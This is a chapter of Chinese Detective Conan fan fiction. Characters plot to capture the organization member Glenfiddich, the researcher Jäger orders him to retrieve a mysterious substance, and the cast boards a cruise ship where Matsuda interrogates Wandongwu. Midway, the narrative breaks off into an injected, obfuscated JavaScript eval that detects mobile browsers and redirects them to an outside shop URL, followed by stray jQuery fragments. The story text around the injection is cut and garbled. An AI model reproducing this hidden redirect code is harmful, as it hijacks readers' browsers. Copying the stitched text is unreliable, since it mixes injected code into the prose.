感受到灰雁冰刺般的视线,柯南咽了口唾沫,但在得到灰雁提供的消息后,他的大脑飞速运转起来:“不,有没有什么办法,可以将格兰菲迪抓住?”


    抓住?


    若站在这里的是“晚冬梧”,他肯定会为柯南大胆的想法鼓掌,但此时站在这里的是灰雁,他只会理性地分析事件的可能性。


    “格兰菲迪相当于0.8个琴酒。”灰雁用大拇指碾磨着食指,保守地给了个等式,他与琴酒照面的次数不多,大多印象都来自曾经看过的动画。


    闻言,柯南没有太多惊讶,他只是垂下脑袋,沉思起来。


    这一场夜谈持续了两个小时。


    当清晨的第一缕阳光洒下之时,柯南终于顶着两个黑眼圈回到毛利侦探事务所中。


    某处隐匿的地下研究所中。


    女人右手拿着一小臂粗的试管,试管中浸泡着一团指甲盖大小的粘稠状液体。


    这液体很是奇怪,明明与纯水接触,却也不溶解,而是在里面自成一方。


    这液体的柔韧度也极佳,再细的针管也无法将其吸出,就像有一层膜将其包裹,外人使出浑身的劲儿也戳不破。


    女人拿到这液体已有一月了,可目前为止她也仅仅能利用其中被污染了的纯水来做实验。


    但单单只是一滴被污染的纯水,便可让aptx4869脱胎换骨。而若是有机会直接利用那液体……也不知会有如何强大的威力。


    就在女人思考之际,有人推门而入:“野格,你找我。”


    红发绅士杵着手杖走入实验室,他一眼便看见站立在阴影中看着试管的女人。


    “我说过,进来要敲门,格兰菲迪。”女人头也没回,仅凭声音和脚步便能判断出来人是谁。


    “明白了明白了,下次一定。”格兰菲迪漫不经心地回复,他扬起有一道伤疤的脸,直直看着女人,那双眼温柔又灼热,仿若要将人溺死在水中。


    可女人不吃他这一套,反倒是皱眉,露出嫌恶的表情:“格兰菲迪,不要用这么恶心的眼神盯着我。”


    格兰菲迪嬉笑一声,他随手将手杖放在一旁,伸了个懒腰,才说道:“怎么?当初你可是喜欢极了这种视线的。”


    “嘁。”女人轻嗤一声,“当初?又是谁用这种眼神将我拐骗来这里的?”


    格兰菲迪摊手:“没办法,谁叫琴酒看不住雪莉,而且,如今的你不也乐在其中?”


    回想起被琴酒审讯时的经历,格兰菲迪不友好地笑了笑——风水轮流转,因为警视厅卧底一事折损了基安蒂与卧底,琴酒也被关进审讯室了行。很不巧的是,审讯的人便是他。


    想到这里,格兰菲迪愉悦地哼了一声。


    女人深吸一口气,不再与格兰菲迪辩驳,转而说道:“我听说你在欧洲时曾收集到过一种特殊的蜂蜜?”


    格兰菲迪挑眉,他思考了半天,借着女人给他的关键词,终于想起了那件事:“不错,那鬼东西也不能叫做蜂蜜,戳不动又斩不断,完全是只能看不能吃。”


    “那东西在哪?”


    “被人偷走了。”


    “谁?”


    “灰雁。”两个字在格兰菲迪口中打了一转,才被他缓缓吐出。


    女人没看见对方特殊的表情,或者说,即使看见了,她也不会去理会。她只是轻轻皱眉,说道:“把它拿回来,研究需要。”


    “你这是在对我下命令?野格?”


    “boss说过,但凡是实验需求,我可以直接命令组织内任一成员。”


    “行,时限?”


    “尽快。”


    万万没有想到自己也被盯上了的晚冬梧正在收拾行李。


    毛利侦探受邀去参与一个游轮的首航,本来打算带上他两个徒弟——安室透与胁田兼则,结果两人不约而同有事,去不了,于是便另外带上了晚冬梧、晚冬景,还有晚冬玖这一家三口人。


    对此,晚冬梧不得不感慨柯学世界小学生的假期颇多——这一次也是不知为什么学校突然放假了。


    “你那晚和柯南说了些什么?”


    听见晚冬景的问题,晚冬梧抬头,眨眨眼:“咦,景哥知道这事儿?”


    没得晚冬景开口,晚冬梧便了然般看向低头乖巧收拾自己行李的晚冬玖,说道:“是小玖告诉你的?”


    晚冬玖脚步微挪,打着折衣服的名义朝晚冬景身旁靠了靠。


    “本来也打算之后告诉你们的。”晚冬梧去检查了一下房门,确定是锁着的后,才远离了门口,说道:“我和柯南……就是工藤新一合作了,打算抓捕格兰菲迪。”


    晚冬梧平淡的话语却炸出了一个惊雷。


    “以青鸟组织的名义。”晚冬玖插嘴。


    晚冬景挑眉,手上收拾的动作也微顿:“青鸟组织?你给组织取好名儿了?”


    晚冬玖举手,插入两人对话:“我取的!”


    作为组织的发起人之一,晚冬玖对取名这个事颇为上心,在连续pass掉“灰色组织”、“鸾鸟组织”、“青色组织”、“□□派”等奇怪词汇后,“青鸟组织”这个词儿终于被晚冬梧接受,并在与柯南的合作中应用出来。


    “目前组织的构架是——不存在的boss、高级管理层灰雁、代号秋的萩原研二,以及灰雁的直属下级晚冬梧、晚冬景,萩原研二的直属下级晚冬玖。”


    “没错没错,”晚冬玖继续举手,争取在两人谈话的镜头中留下自己的一只手,“我!晚冬玖,现在是青鸟组织派遣至少年侦探团的卧底!”


    “小玖很厉害啊。”晚冬景摸了摸晚冬玖的脑袋,随后又转头看向晚冬梧,说道,“看来你们已经安排好了。”他知道这只是几人建着玩的一个组织,因此也没有过于干涉,而是好脾气地接受了这个安排。


    晚冬梧点头,继续之前的话题:“等这次游轮旅行结束后便会正式开始计划,细节也得等到结束后再详谈。”


    “所以,我们好好体验一下这次的旅行吧。”迎着初生的朝阳,晚冬梧呲牙,露出白色的牙齿大笑,朝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901497|188290||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    晚冬景挥手。


    晚冬景则无奈地笑笑,提上行李,又牵着晚冬玖的手,走出了室内,来到阳光之下。


    水晶号的首次航行起点是在一处港口,当晚冬梧踏上游轮时,便看见便衣出行的松田阵平以及高木等人。


    晚冬梧:“……”突然心生不妙。


    比晚冬梧更快一步的是对案件极其敏感的柯南。只见他一路小跑,跑到高木涉旁边,问道:“高木警官,你们怎么也来了这里?”


    高木涉蹲下身,朝柯南摆了一个嘁声的手势,小声说道:“小声点柯南,前几天警视厅收到一份匿名警告信,说是要求水晶号延期航行,否则船上会遭遇意想不到的案件。”


    “但是水晶号的主人不愿意延期,最大的让步便是让我们便衣进来。”


    柯南沉默,晚冬玖歪着脑袋疑惑,晚冬梧豆豆眼无语。


    “说起来,毛利侦探似乎便是这水晶号的主人邀请来的?是叫汤浅圭介?”晚冬景询问的目光看向毛利小五郎。


    就在众人讨论案件之时,松田阵平却将角落中的晚冬梧一把拽走。


    黑色的墨镜遮住了松田阵平的神情,只余下那微微下撇的嘴角,像一道冷硬的弧线,泄露了他此刻并不算好的情绪。


    “川本泰失踪了,最后出现的地点也是在这个港口。”他的声音低沉而平直,不带有丝毫起伏。


    迎着侦探般犀利的视线,晚冬梧强作镇定:“……是吗?所以?”


    他很疑惑,松田阵平为何要告诉自己,明明这件事警视厅并未发布任何公告,是一副想要将此时掩埋下去的打算。


    两人对视良久,空气仿佛凝滞。终于,松田收回了视线,朝晚冬梧随意地摆了摆手,像是要将人打发走。


    晚冬梧刚松了口气,打算转身离开时,却被松田阵平突如其来的话给定在了原地。


    “灰雁和格兰菲迪是谁?”


    松田的声音突兀地响起,像一把精准掷来的飞刀,瞬间刺破了晚冬梧刚刚松懈下来的心防。


    晚冬梧:?


    晚冬梧:蛤?


    他猛地回身,迅速调整好表情,脸上堆起恰到好处的疑惑:“什么?这两个是什么?”


    可内心早已掀起惊涛骇浪——SOS!救命!萩原研二、诸伏景光、晚冬玖、柯南!不管是谁,谁来打断这场要命的试探啊!


    或许是祈祷起了作用,又或许是有人的观察力足够敏锐——一阵沉稳的脚步声由远及近,清晰地停在两人面前。


    “不知松田警官对我弟弟有什么要事需要在这里交流?”


    是晚冬景。


    他单手揣兜,穿着的天蓝色外套被海风刮起一个衣角,整个人都显得洒脱又直爽。


    在被这人注视之时,松田阵平突兀地升起一股熟悉感。


    以前在哪里见过这个人吗?不是那种泛泛之交,而是共同经历过生死的熟悉感。


    松田阵平皱眉,他不懂这样的感觉从何而来,但唯一可以确认的是——此人也不简单。